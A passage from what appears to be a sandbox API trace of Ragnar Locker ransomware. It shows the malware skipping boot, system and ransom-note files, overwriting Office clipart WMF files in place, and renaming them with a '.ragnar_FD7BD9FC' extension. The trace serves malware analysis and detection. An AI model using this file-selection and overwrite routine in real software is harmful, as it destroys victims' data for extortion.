lpString2="thumbs.db") returned -1 [0087.309] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.309] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.309] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.309] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.310] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.310] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.310] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf")) returned 0x20 [0087.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.310] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37658) returned 1 [0087.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.310] GetProcessHeap () returned 0x580000 [0087.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.310] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.312] VirtualAlloc (lpAddress=0x0, dwSize=0x931a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.312] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x931a, lpOverlapped=0x0) returned 1 [0087.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x931a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.314] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x931a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x931a, lpOverlapped=0x0) returned 1 [0087.314] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x931a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.314] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x931a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.314] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.315] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.315] GetProcessHeap () returned 0x580000 [0087.315] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.315] CloseHandle (hObject=0xf4) returned 1 [0087.315] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" [0087.315] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ragnar_FD7BD9FC" [0087.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.315] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0087.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.316] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287020.WMF" | out: lpString1="J0287020.WMF") returned="J0287020.WMF" [0087.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF") returned=".WMF" [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="autorun.inf") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="boot.ini") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootfont.bin") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootsect.bak") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootmgr") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootmgr.efi") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="bootmgfw.efi") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="desktop.ini") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="iconcache.db") returned 1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ntldr") returned -1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ntuser.dat") returned -1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ntuser.dat.log") returned -1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ntuser.ini") returned -1 [0087.316] lstrcmpiW (lpString1="J0287020.WMF", lpString2="thumbs.db") returned -1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.316] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf")) returned 0x20 [0087.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.317] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32984) returned 1 [0087.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.317] GetProcessHeap () returned 0x580000 [0087.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.317] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.318] VirtualAlloc (lpAddress=0x0, dwSize=0x80d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.318] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x80d8, lpOverlapped=0x0) returned 1 [0087.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.320] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.320] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x80d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x80d8, lpOverlapped=0x0) returned 1 [0087.320] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.320] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.321] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.321] GetProcessHeap () returned 0x580000 [0087.321] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.321] CloseHandle (hObject=0xf4) returned 1 [0087.321] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" [0087.321] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ragnar_FD7BD9FC" [0087.321] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.322] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0087.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.322] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287024.WMF" | out: lpString1="J0287024.WMF") returned="J0287024.WMF" [0087.322] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF") returned=".WMF" [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="autorun.inf") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="boot.ini") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootfont.bin") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootsect.bak") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootmgr") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootmgr.efi") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootmgfw.efi") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="desktop.ini") returned 1 [0087.322] lstrcmpiW (lpString1="J0287024.WMF", lpString2="iconcache.db") returned 1 [0087.323] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ntldr") returned -1 [0087.323] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ntuser.dat") returned -1 [0087.323] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ntuser.dat.log") returned -1 [0087.323] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ntuser.ini") returned -1 [0087.323] lstrcmpiW (lpString1="J0287024.WMF", lpString2="thumbs.db") returned -1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.323] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf")) returned 0x20 [0087.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.323] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=50898) returned 1 [0087.323] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc6c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.323] GetProcessHeap () returned 0x580000 [0087.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.323] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.325] VirtualAlloc (lpAddress=0x0, dwSize=0xc6d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.325] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc6d2, lpOverlapped=0x0) returned 1 [0087.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.327] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc6d2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc6d2, lpOverlapped=0x0) returned 1 [0087.327] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.327] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc6d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.328] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.328] GetProcessHeap () returned 0x580000 [0087.328] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.328] CloseHandle (hObject=0xf4) returned 1 [0087.328] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" [0087.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ragnar_FD7BD9FC" [0087.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0087.328] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.329] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287408.WMF" | out: lpString1="J0287408.WMF") returned="J0287408.WMF" [0087.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF") returned=".WMF" [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="autorun.inf") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="boot.ini") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootfont.bin") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootsect.bak") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootmgr") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootmgr.efi") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootmgfw.efi") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="desktop.ini") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="iconcache.db") returned 1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ntldr") returned -1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ntuser.dat") returned -1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ntuser.dat.log") returned -1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ntuser.ini") returned -1 [0087.329] lstrcmpiW (lpString1="J0287408.WMF", lpString2="thumbs.db") returned -1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.329] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf")) returned 0x20 [0087.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 